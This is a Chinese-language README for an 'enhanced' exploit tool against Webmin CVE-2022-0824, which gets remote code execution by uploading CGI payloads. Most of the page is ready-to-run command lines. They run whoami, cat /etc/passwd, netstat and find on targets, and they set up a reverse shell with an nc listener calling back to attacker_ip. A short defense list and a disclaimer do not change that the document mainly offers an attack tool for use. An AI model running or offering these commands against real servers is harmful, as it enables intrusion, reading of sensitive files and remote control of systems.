Webmin-CVE-2022-0824-Enhanced-Exploit

[!IMPORTANT]

Webmin CVE-2022-0824 增强版漏洞利用工具 - 支持命令执行和反向Shell双模式

[!IMPORTANT]

一个针对 Webmin CVE-2022-0824 漏洞的增强版利用工具，支持直接命令执行和反向Shell两种模式。

🚀 特性

• ✅ 双模式支持：命令执行模式 + 反向Shell模式
• ✅ 多种Payload：Perl、Bash、Python三种不同的payload
• ✅ 智能文件管理：自动生成唯一文件名，避免文件冲突
• ✅ 强制覆盖上传：自动处理已存在文件的覆盖问题
• ✅ 多重上传方式：HTTP下载、直接上传、命令执行创建
• ✅ 详细调试信息：完整的执行过程日志
• ✅ 用户友好界面：彩色输出和清晰的状态提示

📋 漏洞信息

• CVE编号: CVE-2022-0824
• 影响版本: Webmin < 1.990
• 漏洞类型: 任意文件上传导致的远程代码执行
• CVSS评分: 9.8 (Critical)

🛠️ 安装要求

# Python 3.6+
pip3 install requests urllib3

📖 使用方法

命令执行模式（推荐）

# 基本命令执行
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "whoami"

# 查看系统信息
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "uname -a"

# 列出文件
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "ls -la /etc"

# 查看敏感文件
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "cat /etc/passwd"

# 网络信息
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "netstat -tulnp"

反向Shell模式

# 1. 启动监听器
nc -nlvp 9999

# 2. 执行漏洞利用
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 -L attacker_ip -P 9999

📝 参数说明

*注：反向Shell模式下必需

🎯 使用示例

示例1：系统信息收集

python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "whoami && id && pwd"

示例2：文件系统探索

python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "find /home -name '*.txt' 2>/dev/null"

示例3：网络配置查看

python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "ip addr show && route -n"

🔧 工作原理

1. 登录验证：使用提供的凭据登录Webmin管理界面
2. Payload生成：根据模式生成相应的CGI脚本
3. 文件上传：通过文件管理器的HTTP下载功能上传payload
4. 权限设置：设置上传文件的执行权限
5. 命令执行：访问上传的CGI脚本执行命令或建立反向连接

🛡️ 防护建议

• 及时更新Webmin到最新版本（>= 1.990）
• 限制Webmin管理界面的网络访问
• 使用强密码和双因素认证
• 定期审计系统日志
• 部署Web应用防火墙(WAF)

⚠️ 免责声明

本工具仅用于授权的安全测试和教育目的。

• 🚫 禁止用于未经授权的系统
• 🚫 禁止用于恶意攻击
• 🚫 使用者需承担相应法律责任
• ✅ 仅在获得明确授权的环境中使用
• ✅ 用于安全研究和漏洞验证

📚 技术细节

Payload类型

• Perl CGI: 主要payload，兼容性最好
• Bash CGI: 备用payload，适用于Linux系统
• Python CGI: 备用payload，功能最丰富

上传方式

1. HTTP下载: 通过Webmin文件管理器的远程下载功能
2. 直接上传: 通过文件上传接口
3. 命令创建: 通过系统命令创建文件

文件命名策略

• 基于命令内容的MD5哈希
• 时间戳后缀
• 确保每次执行使用不同文件名

🔄 更新日志

v5.0 (2025-08-05)

• ✨ 新增命令执行模式
• 🐛 修复文件覆盖问题
• 🔧 改进文件命名策略
• 📈 增强错误处理

v4.0 (基于原版)

• 🎯 基于 faisalfs10x 的原始代码
• 🔧 改进CGI兼容性
• 📝 增加详细日志

🤝 贡献

欢迎提交Issue和Pull Request！

1. Fork 本项目
2. 创建特性分支 (git checkout -b feature/AmazingFeature)
3. 提交更改 (git commit -m 'Add some AmazingFeature')
4. 推送到分支 (git push origin feature/AmazingFeature)
5. 开启 Pull Request

📄 许可证

本项目采用 MIT 许可证 - 查看 LICENSE 文件了解详情

🙏 致谢

• 原始代码作者：@faisalfs10x
• 原项目地址：Webmin-CVE-2022-0824-revshell
• CVE发现者：相关安全研究人员

📞 联系方式

如有问题或建议，请通过以下方式联系：

• 📧 提交 GitHub Issue
• 🐛 报告安全问题请私信

⭐ 如果这个项目对你有帮助，请给个Star支持一下！

🔗 相关链接

• CVE-2022-0824 详情
• Webmin 官方网站
• 原始项目

requirements.txt

requests>=2.25.1
urllib3>=1.26.0